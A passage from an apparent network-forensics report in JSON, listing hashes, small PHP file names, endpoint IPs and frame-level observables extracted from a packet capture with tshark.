        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-bf1764341e59da05dc41f3a0",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "7302f92b3987a0850f5d66f1481bf077",
        "sha1": "dc0fb6e21d434ecfa95505745612f4ff312814d4",
        "type": "http-exported-object",
        "sha256": "ff3d2ac0ebd4aaa76a09c004b754f8370b74659fe3dc02760c40b097bb9dfd97",
        "evidence": [],
        "filename": "l6.php",
        "filenames": [
          "l6.php",
          "l7.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 20,
        "artifact_id": "artifact-aad9f165502b92f2a43b9702",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 20,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "bfcf719d2fcf5f5b32fdea30664070b0",
        "sha1": "e28cf8d973563cbd1351c720387a3385a6a34bd1",
        "type": "http-exported-object",
        "sha256": "061c0ff5d6f501e9cf00f3a3748751f4551937bec1e79b76621d7e88a017ec89",
        "evidence": [],
        "filename": "Administrator.php",
        "filenames": [
          "Administrator.php",
          "cere.php",
          "q(2).php",
          "qa.php",
          "ssaa.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-d0e83b47a52c79d236b54c39",
        "occurrences": 5,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "91160bdae5c962e959b017058e79078a",
        "sha1": "dee9f4b526a35fd5fc745387e3d2a9b19b3fe0f6",
        "type": "http-exported-object",
        "sha256": "0ec71ec402ba43c54280456053b33624a9481559ecaa96ab45ace5d42d2b8697",
        "evidence": [],
        "filename": "phpstudy.php",
        "filenames": [
          "phpstudy.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-edca6660048eb402ab983a56",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "06aa21a3401adbcabda85d2bc98d97f1",
        "sha1": "3123b527a780ccfe0c2c384d6ad304dfd3fbf9f5",
        "type": "http-exported-object",
        "sha256": "363b45ef36c4b422e2343990313f4920dfab48b6e2336548d09257541f4e2659",
        "evidence": [],
        "filename": "1.php",
        "filenames": [
          "1.php",
          "j.php",
          "my(2).php",
          "wb.php",
          "wc.php",
          "xxxx.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-c9b48ec22b333090352bfc09",
        "occurrences": 6,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "609acfb15ebe269b75c2cfc667a956d2",
        "sha1": "1947b766235ce742be0b7902155111fbbc0f1578",
        "type": "http-exported-object",
        "sha256": "69ebb06901e1a0b1d853c28fddcd8e1179397f351e10042f9fe13c632e2c4287",
        "evidence": [],
        "filename": "infoo.php",
        "filenames": [
          "infoo.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-0b4a083add6fd9037213df90",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "47c198490000fa2e800adc18e5f8cad7",
        "sha1": "b340b9985dc389d8ee38ddd9e6f842870d2d38c6",
        "type": "http-exported-object",
        "sha256": "78cb8cbc04e24c367d460b271f8ebb2fa8084e327c8101a69a7d0df4b5634c48",
        "evidence": [],
        "filename": "confg(4).php",
        "filenames": [
          "confg(4).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-5e9609f5a23ecf5b371960a8",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "00c7a1ca51611554aa7665935253d23c",
        "sha1": "3b729d1d506fceb02c34f6cdfba14e4086d08941",
        "type": "http-exported-object",
        "sha256": "87ad34c0f1e82b83cf621fb7f523b310593a2c2b3e6868d9208a580b14d9605c",
        "evidence": [],
        "filename": "o.php",
        "filenames": [
          "o.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-564699af78c080fd1c9f31f7",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "71017ff101c076c02ca817920c8149a8",
        "sha1": "15fef32d190967561781f10d7f590862244e19f1",
        "type": "http-exported-object",
        "sha256": "8ec7ddf4593322ed0347f57f4f2d156532cc66f8d9fff664cb23d0e05a13adc4",
        "evidence": [],
        "filename": "conf.php",
        "filenames": [
          "conf.php",
          "x(5).php",
          "xp(1).php",
          "xp.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-bde66d05e1597a742e307e6e",
        "occurrences": 4,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "b03d96cde4d52c3cda7b53dae7be6650",
        "sha1": "89d053512a4426a0cc8c3367c6011a1d27f1b451",
        "type": "http-exported-object",
        "sha256": "97b5a403ad7aed9ac226d5612ae914e6a9b814c3d96107a970f4dc42bc422293",
        "evidence": [],
        "filename": "log(1).php",
        "filenames": [
          "log(1).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-458e93c21b4e8f63d0c49402",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "891bc265f6a3cf1d8d1460e81cd0498c",
        "sha1": "e9596e49ff81ded6e949ff091f06a73dd8b12aa7",
        "type": "http-exported-object",
        "sha256": "b947c4288a7cb946e82bf2385142468a80216418afc08e691f46b2150ae67f96",
        "evidence": [],
        "filename": "9678.php",
        "filenames": [
          "9678.php",
          "h1.php",
          "wuwu11.php",
          "xw.php",
          "xw1.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-5f77107b74a41ba96bd3e561",
        "occurrences": 5,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "08269063f692d9c2f0096e55f7761b8c",
        "sha1": "cd0c012b6ef61f45ab807c0382149d552a3f6f3f",
        "type": "http-exported-object",
        "sha256": "ce00fb93bdd8799116dee501491619b2987f56bcff2e1260e6e72e0714e0f28f",
        "evidence": [],
        "filename": "56.php",
        "filenames": [
          "56.php",
          "9510.php",
          "cer.php",
          "p.php",
          "qq(4).php",
          "qwq(2).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-514fb56d696a69e6489b334d",
        "occurrences": 6,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "80567b0f0d4992d01b8608644b375ddf",
        "sha1": "a49439fd1d06be171c40ae6e4f7022388d5b62f2",
        "type": "http-exported-object",
        "sha256": "d5ed840ae489ce44a548368ee4509159861b1ea9cd7b4f25757b4e48034c6e26",
        "evidence": [],
        "filename": "confg(2).php",
        "filenames": [
          "confg(2).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-6d8090388106f43c1b29a46d",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "0b60cae25e33ef72c9fec5fb5e6cf0d5",
        "sha1": "66ac1c32b12995d6e78fe77d9a2ad3f23eae7645",
        "type": "http-exported-object",
        "sha256": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
        "evidence": [],
        "filename": "Updata.php",
        "filenames": [
          "Updata.php",
          "a(4).php",
          "aa(2).php",
          "aaa(2).php",
          "config.php",
          "edmin.php",
          "mysql.php",
          "phpStudy.php",
          "ppp.php",
          "think.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-c4e58f9c4056dcad6917b113",
        "occurrences": 10,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "cbe0fb6c0c7b11effdb86865c8cf4652",
        "sha1": "b1dad44a36fb9c26aa5325d89117380fa646f0aa",
        "type": "http-exported-object",
        "sha256": "e7a8ee05bb0196f85adf00c64b9196dd3bc9bf0838052493634d78896767f418",
        "evidence": [],
        "filename": "mx.php",
        "filenames": [
          "mx.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-7614568e9e65e584757e1091",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "486e45dbe164fd44a242e624aea65365",
        "sha1": "4c853f3e2d25c126310fe3526a8c84632b86543d",
        "type": "http-exported-object",
        "sha256": "ecf7fe3c44cf97fe0fe76364fc5c699afa7a5414ff339cde92d3ff1b5b00a42b",
        "evidence": [],
        "filename": "z(3).php",
        "filenames": [
          "z(3).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 19,
        "artifact_id": "artifact-26f49a947b3a044b243857aa",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 19,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "8cf33a74b6c286188cfdc37375f82fe2",
        "sha1": "fcda89e827f955d4b834d487f96b65e7ee3e5daf",
        "type": "http-exported-object",
        "sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
        "evidence": [],
        "filename": ".php",
        "filenames": [
          ".php",
          "11a.php",
          "1213.php",
          "2ndex.php",
          "411.php",
          "415.php",
          "421.php",
          "444.php",
          "605.php",
          "7o.php",
          "803.php",
          "887.php",
          "888.php",
          "9.php",
          "981.php",
          "98k.php",
          "999.php",
          "a411.php",
          "aa.php",
          "aaa.php",
          "aap.php",
          "ack.php",
          "admin1.php",
          "ag.php",
          "app.php",
          "bbq.php",
          "bbqq.php",
          "bbr.php",
          "bbv.php",
          "ffr.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 18,
        "artifact_id": "artifact-9bd8dd7bef83062a9cdcb146",
        "occurrences": 83,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 18,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "424eb027cabaf594d13f3f5b10c34451",
        "sha1": "e36a2b1e7a4015e82d21d5f5bf19887f3621ca3b",
        "type": "http-exported-object",
        "sha256": "11ae4ece213f6e5fb811c194ce843d0719f6b5cba7a9e07a84876308014023e3",
        "evidence": [],
        "filename": "python(1).php",
        "filenames": [
          "python(1).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 18,
        "artifact_id": "artifact-27a286ead97203843e2e7f1d",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 18,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "bdb856db52ad479bb2c234494b6c44bc",
        "sha1": "1bacaffa024be18cd21debf7f593b61bce61a995",
        "type": "http-exported-object",
        "sha256": "899fb23b6ce90e858f422f0ccfcb3e416d5cb322be3a4957795eca799e31a570",
        "evidence": [],
        "filename": "conf1g.php",
        "filenames": [
          "conf1g.php",
          "confg.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 18,
        "artifact_id": "artifact-39595d74d2f81ab22292424a",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 18,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "d1c15e25990c2e503dbff0718036ea32",
        "sha1": "980d0bf9abe2b262a86a4ed1a1b30a65d2010b43",
        "type": "http-exported-object",
        "sha256": "a07cfb41343f70a8e6a5c7b5056e688fc71b3dc6da4ade21236ace122f7c0669",
        "evidence": [],
        "filename": "asjc.php",
        "filenames": [
          "asjc.php",
          "confg(6).php",
          "db_dataml.php",
          "db_desql.php",
          "freebook.php",
          "fuck.php",
          "goodbook.php",
          "test(2).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 18,
        "artifact_id": "artifact-f3901007c9aeab5c2dd2df20",
        "occurrences": 8,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 18,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "64995ac0f5dd0a4cc86e6dcf24da026d",
        "sha1": "7dfe75ab44f10162442b3e09af7284ee7551a6eb",
        "type": "http-exported-object",
        "sha256": "e85e98b76eff35f6f764c4f87aaaad9aef7b8c330289656a0e290a67ae25c265",
        "evidence": [],
        "filename": "l8.php",
        "filenames": [
          "l8.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 18,
        "artifact_id": "artifact-a9f9dc2112cf875362a3fade",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 18,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "2f91618259ae8b6c1b3001c0a4f127b6",
        "sha1": "1b07e94f1286fc34362a02ed79ad34c3a5f4fe75",
        "type": "http-exported-object",
        "sha256": "8f5eb502af770fbd3d3c03fb4630f797f83ca95ee0788dab8e1ceb16d217cf03",
        "evidence": [],
        "filename": "object2064",
        "filenames": [
          "object2064"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 11,
        "artifact_id": "artifact-340fd5ba22426b6bf808773a",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 11,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      }
    ],
    "endpoints": [
      {
        "ip": "10.12.25.101",
        "bytes_sent": 357840,
        "ip_version": 4,
        "is_private": true,
        "endpoint_id": "endpoint-53c7da5374affbce76d3727a",
        "packets_sent": 912,
        "mac_addresses": [
          "00:20:ca:96:35:7c"
        ],
        "bytes_received": 251816,
        "evidence_frames": [
          1,
          2,
          3,
          4,
          5
        ],
        "last_seen_epoch": "1577256516.171391",
        "first_seen_epoch": "1577255328.530278",
        "packets_received": 1526
      },
      {
        "ip": "139.199.184.166",
        "bytes_sent": 251816,
        "ip_version": 4,
        "is_private": false,
        "endpoint_id": "endpoint-c712c9402c439bb9fdc669b7",
        "packets_sent": 1526,
        "mac_addresses": [
          "00:00:0c:9f:f0:01",
          "e8:04:62:1c:c3:bb",
          "e8:04:62:2d:c3:bb"
        ],
        "bytes_received": 357840,
        "evidence_frames": [
          1,
          2,
          3,
          4,
          5
        ],
        "last_seen_epoch": "1577256516.171391",
        "first_seen_epoch": "1577255328.530278",
        "packets_received": 912
      }
    ],
    "identities": [],
    "actor_leads": [],
    "observables": [
      {
        "type": "ipv4",
        "roles": [
          "network-endpoint"
        ],
        "value": "10.12.25.101",
        "evidence": [],
        "is_private": true,
        "observable_id": "observable-627c2d054fdbfc627198b685",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "ipv4",
        "roles": [
          "http-host"
        ],
        "value": "128.199.64.235",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 10,
            "display_filter": "frame.number == 10",
            "timestamp_epoch": "1577255332.202782000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 15,
            "display_filter": "frame.number == 15",
            "timestamp_epoch": "1577255332.482403000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 18,
            "display_filter": "frame.number == 18",
            "timestamp_epoch": "1577255332.751059000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 21,
            "display_filter": "frame.number == 21",
            "timestamp_epoch": "1577255333.019833000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 25,
            "display_filter": "frame.number == 25",
            "timestamp_epoch": "1577255333.294663000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 28,
            "display_filter": "frame.number == 28",
            "timestamp_epoch": "1577255333.957025000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 31,
            "display_filter": "frame.number == 31",
            "timestamp_epoch": "1577255334.310821000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 34,
            "display_filter": "frame.number == 34",
            "timestamp_epoch": "1577255336.009530000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 44,
            "display_filter": "frame.number == 44",
            "timestamp_epoch": "1577255346.055130000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 48,
            "display_filter": "frame.number == 48",
            "timestamp_epoch": "1577255349.559043000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 52,
            "display_filter": "frame.number == 52",
            "timestamp_epoch": "1577255350.624382000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 55,
            "display_filter": "frame.number == 55",
            "timestamp_epoch": "1577255353.337526000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 58,
            "display_filter": "frame.number == 58",
            "timestamp_epoch": "1577255355.200791000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 62,
            "display_filter": "frame.number == 62",
            "timestamp_epoch": "1577255355.468512000"
          },
          {
            "tcp_stream": 3,
            "frame_number": 68,
            "display_filter": "frame.number == 68",
            "timestamp_epoch": "1577255356.304538000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 75,
            "display_filter": "frame.number == 75",
            "timestamp_epoch": "1577255356.563321000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 85,
            "display_filter": "frame.number == 85",
            "timestamp_epoch": "1577255368.254905000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 89,
            "display_filter": "frame.number == 89",
            "timestamp_epoch": "1577255368.522892000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 92,
            "display_filter": "frame.number == 92",
            "timestamp_epoch": "1577255368.816147000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 94,
            "display_filter": "frame.number == 94",
            "timestamp_epoch": "1577255369.090592000"
          }
        ],
        "is_private": false,
        "observable_id": "observable-9d4d4a92cdb5b837d024bdf8",
        "last_seen_epoch": "1577256450.983470000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255332.202782000"
      },
      {
        "type": "ipv4",
        "roles": [
          "network-endpoint"
        ],
        "value": "139.199.184.166",
        "evidence": [],
        "is_private": false,
        "observable_id": "observable-f3d1e49eb7eb8474e08974ef",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "002dec6d3ad597ad1363832cf980c066186b2a5f58b6142e09858f7d76d1eda7",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-05ccf8089e7ca006c93f7a02",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "04eebbc1d0c8d07eaa429c4676f1a4d4147ed6e434b051f8404b5750977f9be9",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-b75fd6a45e1ab6e2f356e433",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "061c0ff5d6f501e9cf00f3a3748751f4551937bec1e79b76621d7e88a017ec89",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-a1034e5ee96767d3dbbb82c8",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "067918e6f6b562d39358996bd0ac8ca5aedd37fea124afd6656e8a1328b14a47",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-469e88a36e80b4f20ddeafbc",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "07bc2cd7b6b5cb96d0487caa89080d9b80a2c59dab7ada05fb89e53f09aa980d",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-b529feb903aab9441cfbab5b",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "0947a7a5cd606f9fbc01a6f8a68689b719f4b593cc02fc15ecaaa4c5d087c54e",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-dd1923c4328ffda051966701",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "0ac1505747d95c61631db1420f88e990d4001c411407e85f6fe76880ed6401f3",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-a0890aa7e09c2cff7c54d294",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "0dbb7096e097f7ed71c520d093d8b1fc2f23e01fa5f3c3a71a8861e14c9b88cb",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-923b212e7261921a476e2d7c",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "0ec71ec402ba43c54280456053b33624a9481559ecaa96ab45ace5d42d2b8697",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-1e756008f21a92ee63ef0255",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-6ba37358d0e9db4e2a1b8d73",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "11ad503e7b0f728f45d3d3c346e516ffca7aa49aefe5634575fb27fb80b5e6cf",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-d717ca6ee0eea305f6df7893",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "11ae4ece213f6e5fb811c194ce843d0719f6b5cba7a9e07a84876308014023e3",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-2a46ff5771a1cc7772894064",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
        "first_seen_epoch": ""
      },
      {
        "type": "sha256",
        "roles": [
          "exported-object"
        ],
        "value": "14170376d25bb11f6f3852ab3d81a87cbcda0c618a5a985bd1b794c8ddbd7fd2",
        "evidence": [],
        "is_private": null,
        "observable_id": "observable-ca62258a5ae4dc0aab155443",
        "last_seen_epoch": "",
        "enrichment_state": "not_requested",
